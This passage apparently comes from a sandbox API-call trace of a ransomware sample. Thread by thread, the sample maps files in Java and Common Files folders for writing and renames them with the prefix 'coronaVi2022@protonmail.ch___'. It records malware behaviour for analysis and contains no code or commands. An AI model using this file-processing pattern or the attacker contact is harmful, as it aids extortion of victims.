	[0084.275] GetCurrentThreadId () returned 0x1430
	[0084.275] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Stars.jpg", dwFileAttributes=0x80) returned 0
	[0084.276] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Stars.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\stars.jpg"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0084.277] free (_Block=0x2f978c0) 
	[0084.277] RtlExitUserThread (Status=0x0) 

Thread:
	id = 237
	os_tid = 0x1434

	[0084.331] _alloca_probe () returned 0x40328a
	[0084.332] GetCurrentThreadId () returned 0x1434
	[0084.332] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Services\\verisign.bmp", dwFileAttributes=0x80) returned 0
	[0084.333] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Services\\verisign.bmp" (normalized: "c:\\program files\\common files\\services\\verisign.bmp"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0084.333] free (_Block=0x2fa1910) 
	[0084.333] RtlExitUserThread (Status=0x0) 

Thread:
	id = 238
	os_tid = 0x1438

	[0084.406] _alloca_probe () returned 0x40328a
	[0084.406] GetCurrentThreadId () returned 0x1438
	[0084.406] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\server\\Xusage.txt", dwFileAttributes=0x80) returned 1
	[0084.407] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\server\\Xusage.txt" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\server\\xusage.txt"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x674
	[0084.407] GetFileSizeEx (in: hFile=0x674, lpFileSize=0x241ff5c | out: lpFileSize=0x241ff5c*=1423) returned 1
	[0084.407] CreateFileMappingA (hFile=0x674, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x59d, lpName=0x0) returned 0x678
	[0084.407] MapViewOfFile (hFileMappingObject=0x678, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x3010000
	[0084.409] UnmapViewOfFile (lpBaseAddress=0x3010000) returned 1
	[0084.409] CloseHandle (hObject=0x678) returned 1
	[0084.409] GetCurrentThreadId () returned 0x1438
	[0084.409] FlushFileBuffers (hFile=0x674) returned 1
	[0084.427] CloseHandle (hObject=0x674) returned 1
	[0084.428] _swprintf (in: param_1=0x2419f1c, param_2="%s%s___%s" | out: param_1="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\server\\coronaVi2022@protonmail.ch___Xusage.txt") returned 85
	[0084.428] MoveFileW (lpExistingFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\server\\Xusage.txt" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\server\\xusage.txt"), lpNewFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\server\\coronaVi2022@protonmail.ch___Xusage.txt" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\server\\coronavi2022@protonmail.ch___xusage.txt")) returned 1
	[0084.433] free (_Block=0x2fb39a0) 
	[0084.433] RtlExitUserThread (Status=0x0) 

Thread:
	id = 239
	os_tid = 0x143c

	[0084.719] _alloca_probe () returned 0x40328a
	[0084.720] GetCurrentThreadId () returned 0x143c
	[0084.720] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\ffjcext.zip", dwFileAttributes=0x80) returned 1
	[0084.721] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\ffjcext.zip" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\ffjcext.zip"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x678
	[0084.721] GetFileSizeEx (in: hFile=0x678, lpFileSize=0x241ff5c | out: lpFileSize=0x241ff5c*=14156) returned 1
	[0084.721] CreateFileMappingA (hFile=0x678, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x3757, lpName=0x0) returned 0x67c
	[0084.721] MapViewOfFile (hFileMappingObject=0x67c, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x3010000
	[0084.724] UnmapViewOfFile (lpBaseAddress=0x3010000) returned 1
	[0084.725] CloseHandle (hObject=0x67c) returned 1
	[0084.725] GetCurrentThreadId () returned 0x143c
	[0084.725] FlushFileBuffers (hFile=0x678) returned 1
	[0084.770] CloseHandle (hObject=0x678) returned 1
	[0084.772] _swprintf (in: param_1=0x2419f1c, param_2="%s%s___%s" | out: param_1="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\coronaVi2022@protonmail.ch___ffjcext.zip") returned 86
	[0084.772] MoveFileW (lpExistingFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\ffjcext.zip" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\ffjcext.zip"), lpNewFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\coronaVi2022@protonmail.ch___ffjcext.zip" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\coronavi2022@protonmail.ch___ffjcext.zip")) returned 1
	[0084.773] free (_Block=0x2fb99d0) 
	[0084.773] RtlExitUserThread (Status=0x0) 

Thread:
	id = 240
	os_tid = 0x1440

	[0084.729] _alloca_probe () returned 0x40328a
	[0084.730] GetCurrentThreadId () returned 0x1440
	[0084.730] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash.gif", dwFileAttributes=0x80) returned 1
	[0084.731] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash.gif" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\splash.gif"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x680
	[0084.731] GetFileSizeEx (in: hFile=0x680, lpFileSize=0x328ff5c | out: lpFileSize=0x328ff5c*=8590) returned 1
	[0084.731] CreateFileMappingA (hFile=0x680, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x219b, lpName=0x0) returned 0x684
	[0084.731] MapViewOfFile (hFileMappingObject=0x684, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x3290000
	[0084.733] UnmapViewOfFile (lpBaseAddress=0x3290000) returned 1
	[0084.733] CloseHandle (hObject=0x684) returned 1
	[0084.733] GetCurrentThreadId () returned 0x1440
	[0084.733] FlushFileBuffers (hFile=0x680) returned 1
	[0084.738] CloseHandle (hObject=0x680) returned 1
	[0084.740] _swprintf (in: param_1=0x3289f1c, param_2="%s%s___%s" | out: param_1="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\coronaVi2022@protonmail.ch___splash.gif") returned 85
	[0084.740] MoveFileW (lpExistingFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash.gif" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\splash.gif"), lpNewFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\coronaVi2022@protonmail.ch___splash.gif" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\coronavi2022@protonmail.ch___splash.gif")) returned 1
	[0084.740] free (_Block=0x2fba9d8) 
	[0084.740] RtlExitUserThread (Status=0x0) 

Thread:
	id = 241
	os_tid = 0x1444

	[0084.736] _alloca_probe () returned 0x40328a
	[0084.737] GetCurrentThreadId () returned 0x1444
	[0084.737] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash@2x.gif", dwFileAttributes=0x80) returned 1
	[0084.737] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash@2x.gif" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\splash@2x.gif"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x688
	[0084.737] GetFileSizeEx (in: hFile=0x688, lpFileSize=0x33cff5c | out: lpFileSize=0x33cff5c*=15276) returned 1
	[0084.737] CreateFileMappingA (hFile=0x688, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x3bb7, lpName=0x0) returned 0x68c
	[0084.738] MapViewOfFile (hFileMappingObject=0x68c, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x33d0000
	[0084.744] UnmapViewOfFile (lpBaseAddress=0x33d0000) returned 1
	[0084.744] CloseHandle (hObject=0x68c) returned 1
	[0084.744] GetCurrentThreadId () returned 0x1444
	[0084.744] FlushFileBuffers (hFile=0x688) returned 1
	[0084.746] CloseHandle (hObject=0x688) returned 1
	[0084.748] _swprintf (in: param_1=0x33c9f1c, param_2="%s%s___%s" | out: param_1="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\coronaVi2022@protonmail.ch___splash@2x.gif") returned 88
	[0084.748] MoveFileW (lpExistingFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash@2x.gif" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\splash@2x.gif"), lpNewFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\coronaVi2022@protonmail.ch___splash@2x.gif" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\coronavi2022@protonmail.ch___splash@2x.gif")) returned 1
	[0084.749] free (_Block=0x2fbb9e0) 
	[0084.749] RtlExitUserThread (Status=0x0) 

Thread:
	id = 242
	os_tid = 0x1448

	[0084.776] _alloca_probe () returned 0x40328a
	[0084.777] GetCurrentThreadId () returned 0x1448
	[0084.777] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash_11-lic.gif", dwFileAttributes=0x80) returned 1
	[0084.778] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash_11-lic.gif" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\splash_11-lic.gif"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x688
	[0084.778] GetFileSizeEx (in: hFile=0x688, lpFileSize=0x328ff5c | out: lpFileSize=0x328ff5c*=7805) returned 1
	[0084.778] CreateFileMappingA (hFile=0x688, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x1e89, lpName=0x0) returned 0x68c
	[0084.778] MapViewOfFile (hFileMappingObject=0x68c, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x460000
	[0084.780] UnmapViewOfFile (lpBaseAddress=0x460000) returned 1
	[0084.780] CloseHandle (hObject=0x68c) returned 1
	[0084.780] GetCurrentThreadId () returned 0x1448
	[0084.780] FlushFileBuffers (hFile=0x688) returned 1
	[0084.782] CloseHandle (hObject=0x688) returned 1
	[0084.784] _swprintf (in: param_1=0x3289f1c, param_2="%s%s___%s" | out: param_1="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\coronaVi2022@protonmail.ch___splash_11-lic.gif") returned 92
	[0084.784] MoveFileW (lpExistingFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash_11-lic.gif" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\splash_11-lic.gif"), lpNewFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\coronaVi2022@protonmail.ch___splash_11-lic.gif" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\coronavi2022@protonmail.ch___splash_11-lic.gif")) returned 1
	[0084.784] free (_Block=0x2fba9d8) 
	[0084.784] RtlExitUserThread (Status=0x0) 

Thread:
	id = 243
	os_tid = 0x144c

	[0084.786] _alloca_probe () returned 0x40328a
	[0084.787] GetCurrentThreadId () returned 0x144c
	[0084.787] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash_11@2x-lic.gif", dwFileAttributes=0x80) returned 1
	[0084.787] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash_11@2x-lic.gif" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\splash_11@2x-lic.gif"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x68c
	[0084.787] GetFileSizeEx (in: hFile=0x68c, lpFileSize=0x241ff5c | out: lpFileSize=0x241ff5c*=12250) returned 1
	[0084.787] CreateFileMappingA (hFile=0x68c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x2fe3, lpName=0x0) returned 0x680
	[0084.787] MapViewOfFile (hFileMappingObject=0x680, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x3010000
	[0084.790] UnmapViewOfFile (lpBaseAddress=0x3010000) returned 1
	[0084.790] CloseHandle (hObject=0x680) returned 1
	[0084.790] GetCurrentThreadId () returned 0x144c
	[0084.790] FlushFileBuffers (hFile=0x68c) returned 1
	[0084.792] CloseHandle (hObject=0x68c) returned 1
	[0084.794] _swprintf (in: param_1=0x2419f1c, param_2="%s%s___%s" | out: param_1="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\coronaVi2022@protonmail.ch___splash_11@2x-lic.gif") returned 95
	[0084.794] MoveFileW (lpExistingFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash_11@2x-lic.gif" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\splash_11@2x-lic.gif"), lpNewFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\coronaVi2022@protonmail.ch___splash_11@2x-lic.gif" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\coronavi2022@protonmail.ch___splash_11@2x-lic.gif")) returned 1
	[0084.794] free (_Block=0x2fb99d0) 
	[0084.794] RtlExitUserThread (Status=0x0) 

Thread:
	id = 244
	os_tid = 0x1450

	[0084.815] _alloca_probe () returned 0x40328a
	[0084.816] GetCurrentThreadId () returned 0x1450
	[0084.816] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\invalid32x32.gif", dwFileAttributes=0x80) returned 1
	[0084.816] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\invalid32x32.gif" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\images\\cursors\\invalid32x32.gif"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x690
	[0084.816] GetFileSizeEx (in: hFile=0x690, lpFileSize=0x241ff5c | out: lpFileSize=0x241ff5c*=153) returned 1
	[0084.816] CreateFileMappingA (hFile=0x690, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xa1, lpName=0x0) returned 0x694
	[0084.816] MapViewOfFile (hFileMappingObject=0x694, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x3010000
	[0084.817] UnmapViewOfFile (lpBaseAddress=0x3010000) returned 1
	[0084.817] CloseHandle (hObject=0x694) returned 1
	[0084.817] GetCurrentThreadId () returned 0x1450
	[0084.817] FlushFileBuffers (hFile=0x690) returned 1
	[0084.821] CloseHandle (hObject=0x690) returned 1
	[0084.823] _swprintf (in: param_1=0x2419f1c, param_2="%s%s___%s" | out: param_1="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\coronaVi2022@protonmail.ch___invalid32x32.gif") returned 99
	[0084.823] MoveFileW (lpExistingFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\invalid32x32.gif" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\images\\cursors\\invalid32x32.gif"), lpNewFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\coronaVi2022@protonmail.ch___invalid32x32.gif" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\images\\cursors\\coronavi2022@protonmail.ch___invalid32x32.gif")) returned 1
	[0084.824] free (_Block=0x2fbd9f0) 
	[0084.824] RtlExitUserThread (Status=0x0) 

Thread:
	id = 245
	os_tid = 0x1454

	[0084.826] _alloca_probe () returned 0x40328a
	[0084.827] GetCurrentThreadId () returned 0x1454
	[0084.827] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_CopyDrop32x32.gif", dwFileAttributes=0x80) returned 1
	[0084.828] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_CopyDrop32x32.gif" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\images\\cursors\\win32_copydrop32x32.gif"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x694
	[0084.828] GetFileSizeEx (in: hFile=0x694, lpFileSize=0x241ff5c | out: lpFileSize=0x241ff5c*=165) returned 1
	[0084.828] CreateFileMappingA (hFile=0x694, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xa9, lpName=0x0) returned 0x698
	[0084.828] MapViewOfFile (hFileMappingObject=0x698, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x3010000
	[0084.828] UnmapViewOfFile (lpBaseAddress=0x3010000) returned 1
	[0084.828] CloseHandle (hObject=0x698) returned 1
	[0084.829] GetCurrentThreadId () returned 0x1454
	[0084.829] FlushFileBuffers (hFile=0x694) returned 1
	[0084.830] CloseHandle (hObject=0x694) returned 1
	[0084.832] _swprintf (in: param_1=0x2419f1c, param_2="%s%s___%s" | out: param_1="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\coronaVi2022@protonmail.ch___win32_CopyDrop32x32.gif") returned 106
	[0084.832] MoveFileW (lpExistingFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_CopyDrop32x32.gif" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\images\\cursors\\win32_copydrop32x32.gif"), lpNewFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\coronaVi2022@protonmail.ch___win32_CopyDrop32x32.gif" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\images\\cursors\\coronavi2022@protonmail.ch___win32_copydrop32x32.gif")) returned 1
	[0084.832] free (_Block=0x2fbe9f8) 
	[0084.832] RtlExitUserThread (Status=0x0) 

Thread:
	id = 246
	os_tid = 0x1458

	[0084.836] _alloca_probe () returned 0x40328a
	[0084.836] GetCurrentThreadId () returned 0x1458
	[0084.836] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_CopyNoDrop32x32.gif", dwFileAttributes=0x80) returned 1
	[0084.837] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_CopyNoDrop32x32.gif" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\images\\cursors\\win32_copynodrop32x32.gif"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x698
	[0084.837] GetFileSizeEx (in: hFile=0x698, lpFileSize=0x241ff5c | out: lpFileSize=0x241ff5c*=153) returned 1
	[0084.837] CreateFileMappingA (hFile=0x698, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xa1, lpName=0x0) returned 0x69c
	[0084.837] MapViewOfFile (hFileMappingObject=0x69c, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x3010000
	[0084.837] UnmapViewOfFile (lpBaseAddress=0x3010000) returned 1
	[0084.837] CloseHandle (hObject=0x69c) returned 1
	[0084.837] GetCurrentThreadId () returned 0x1458
	[0084.838] FlushFileBuffers (hFile=0x698) returned 1
	[0084.839] CloseHandle (hObject=0x698) returned 1
	[0084.840] _swprintf (in: param_1=0x2419f1c, param_2="%s%s___%s" | out: param_1="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\coronaVi2022@protonmail.ch___win32_CopyNoDrop32x32.gif") returned 108
	[0084.840] MoveFileW (lpExistingFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_CopyNoDrop32x32.gif" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\images\\cursors\\win32_copynodrop32x32.gif"), lpNewFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\coronaVi2022@protonmail.ch___win32_CopyNoDrop32x32.gif" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\images\\cursors\\coronavi2022@protonmail.ch___win32_copynodrop32x32.gif")) returned 1
	[0084.841] free (_Block=0x2fbd9f0) 
	[0084.841] RtlExitUserThread (Status=0x0) 

Thread:
	id = 247
	os_tid = 0x145c

	[0084.843] _alloca_probe () returned 0x40328a
	[0084.844] GetCurrentThreadId () returned 0x145c
	[0084.844] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_LinkDrop32x32.gif", dwFileAttributes=0x80) returned 1
	[0084.844] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_LinkDrop32x32.gif" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\images\\cursors\\win32_linkdrop32x32.gif"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x69c
	[0084.844] GetFileSizeEx (in: hFile=0x69c, lpFileSize=0x241ff5c | out: lpFileSize=0x241ff5c*=168) returned 1
	[0084.844] CreateFileMappingA (hFile=0x69c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xaf, lpName=0x0) returned 0x6a0
	[0084.844] MapViewOfFile (hFileMappingObject=0x6a0, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x3010000
	[0084.845] UnmapViewOfFile (lpBaseAddress=0x3010000) returned 1
	[0084.845] CloseHandle (hObject=0x6a0) returned 1
	[0084.845] GetCurrentThreadId () returned 0x145c
	[0084.845] FlushFileBuffers (hFile=0x69c) returned 1
	[0084.847] CloseHandle (hObject=0x69c) returned 1
	[0084.848] _swprintf (in: param_1=0x2419f1c, param_2="%s%s___%s" | out: param_1="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\coronaVi2022@protonmail.ch___win32_LinkDrop32x32.gif") returned 106
	[0084.848] MoveFileW (lpExistingFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_LinkDrop32x32.gif" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\images\\cursors\\win32_linkdrop32x32.gif"), lpNewFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\coronaVi2022@protonmail.ch___win32_LinkDrop32x32.gif" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\images\\cursors\\coronavi2022@protonmail.ch___win32_linkdrop32x32.gif")) returned 1
	[0084.849] free (_Block=0x2fbd9f0) 
	[0084.849] RtlExitUserThread (Status=0x0) 

Thread:
	id = 248
	os_tid = 0x1460

	[0084.852] _alloca_probe () returned 0x40328a
	[0084.853] GetCurrentThreadId () returned 0x1460
	[0084.853] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_LinkNoDrop32x32.gif", dwFileAttributes=0x80) returned 1
	[0084.853] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_LinkNoDrop32x32.gif" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\images\\cursors\\win32_linknodrop32x32.gif"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x6a0
	[0084.853] GetFileSizeEx (in: hFile=0x6a0, lpFileSize=0x241ff5c | out: lpFileSize=0x241ff5c*=153) returned 1
	[0084.853] CreateFileMappingA (hFile=0x6a0, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xa1, lpName=0x0) returned 0x6a4
	[0084.853] MapViewOfFile (hFileMappingObject=0x6a4, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x3010000
	[0084.854] UnmapViewOfFile (lpBaseAddress=0x3010000) returned 1
	[0084.854] CloseHandle (hObject=0x6a4) returned 1
	[0084.854] GetCurrentThreadId () returned 0x1460
	[0084.854] FlushFileBuffers (hFile=0x6a0) returned 1
	[0084.855] CloseHandle (hObject=0x6a0) returned 1
	[0084.857] _swprintf (in: param_1=0x2419f1c, param_2="%s%s___%s" | out: param_1="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\coronaVi2022@protonmail.ch___win32_LinkNoDrop32x32.gif") returned 108
	[0084.857] MoveFileW (lpExistingFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_LinkNoDrop32x32.gif" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\images\\cursors\\win32_linknodrop32x32.gif"), lpNewFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\coronaVi2022@protonmail.ch___win32_LinkNoDrop32x32.gif" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\images\\cursors\\coronavi2022@protonmail.ch___win32_linknodrop32x32.gif")) returned 1
	[0084.857] free (_Block=0x2fbd9f0) 
	[0084.857] RtlExitUserThread (Status=0x0) 

Thread:
	id = 249
	os_tid = 0x1464

	[0084.859] _alloca_probe () returned 0x40328a
	[0084.860] GetCurrentThreadId () returned 0x1464
	[0084.860] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_MoveDrop32x32.gif", dwFileAttributes=0x80) returned 1
	[0084.860] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_MoveDrop32x32.gif" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\images\\cursors\\win32_movedrop32x32.gif"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x6a4
	[0084.860] GetFileSizeEx (in: hFile=0x6a4, lpFileSize=0x241ff5c | out: lpFileSize=0x241ff5c*=147) returned 1
	[0084.861] CreateFileMappingA (hFile=0x6a4, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x95, lpName=0x0) returned 0x6a8
	[0084.861] MapViewOfFile (hFileMappingObject=0x6a8, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x3010000
	[0084.861] UnmapViewOfFile (lpBaseAddress=0x3010000) returned 1
	[0084.861] CloseHandle (hObject=0x6a8) returned 1
	[0084.861] GetCurrentThreadId () returned 0x1464
	[0084.861] FlushFileBuffers (hFile=0x6a4) returned 1
	[0084.863] CloseHandle (hObject=0x6a4) returned 1
